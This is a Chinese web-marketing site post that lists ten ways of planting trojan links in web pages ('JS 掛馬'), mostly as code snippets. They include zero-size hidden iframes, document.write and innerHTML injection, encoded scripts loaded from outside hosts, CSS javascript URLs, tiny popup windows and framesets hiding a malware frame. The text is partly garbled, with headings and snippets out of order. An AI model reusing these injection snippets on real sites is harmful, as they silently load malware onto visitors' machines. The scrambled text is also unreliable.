時間:2022-05-29 16:12:01 | 來源:網(wǎng)絡(luò)營銷
時間:2022-05-29 16:12:01 來源:網(wǎng)絡(luò)營銷
最近看了很多博友反饋的問題,發(fā)現(xiàn)最近一周談?wù)撟疃嗟膯栴}就是“js掛馬”的問題。問題也大多集中在如何掛馬、掛馬的方法有哪些?掛馬的效果和如何防止自己網(wǎng)站被掛木馬。當(dāng)然也有一些博友說《常見JS掛馬方法及如何防止網(wǎng)站被黑客掛馬?》的文章介紹的js掛馬方法不全。也給我列舉了幾種文章中未提及到的掛馬方法,事后根據(jù)博友的反饋我也總結(jié)了一下,并根據(jù)自己多年做網(wǎng)站的經(jīng)驗匯總了10條網(wǎng)站掛木馬的常用的一些代碼寫法。在此借助億企邦的平臺就給大家介紹一下具體代碼操作:<iframe src=地址 width=0 height=0></iframe>2、js文件掛馬
document.write("<iframe width='0' height='0' src='地址'></iframe>");保存為xxx.js,則JS掛馬代碼為:
<script language=javascript src=xxx.js></script>3、js變形加密
<SCRIPT language="JScript.Encode" src=http://www.mahaixiang.cn/mama.txt></script>其中mama.txt可改成任意后綴
<body onload="window.location='地址';"></body>5、隱蔽掛馬
top.document.body.innerHTML = top.document.body.innerHTML + '/r/n<iframe src="http://www.xxx.com/muma.htm/"></iframe>';6、css中掛馬
body {7、JAJA掛馬
background-image: url('javascript:document.write("<script src=http://www.mahaixiang.cn/muma.js></script>")')
}
<SCRIPT language=javascript>8、圖片偽裝
window.open("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
</script>
<html>9、偽裝調(diào)用
<iframe src="網(wǎng)馬地址" height=0 width=0></iframe>
<img src="圖片地址"></center>
</html>
<frameset rows="444,0" cols="*">10、高級欺騙手法
<frame src="打開網(wǎng)頁" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
<frame src="網(wǎng)馬地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
</frameset>
<a href="http://www.xxx.com(迷惑連接地址,顯示這個地址指向木馬地址)" > 頁面要顯示的內(nèi)容 </a>億企邦點評:
<SCRIPT Language="JavaScript">
function www_xxx_com ()
{
var url="網(wǎng)馬地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,
status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>
關(guān)鍵詞:操作,方法,木馬
微信公眾號
版權(quán)所有? 億企邦 1997-2022 保留一切法律許可權(quán)利。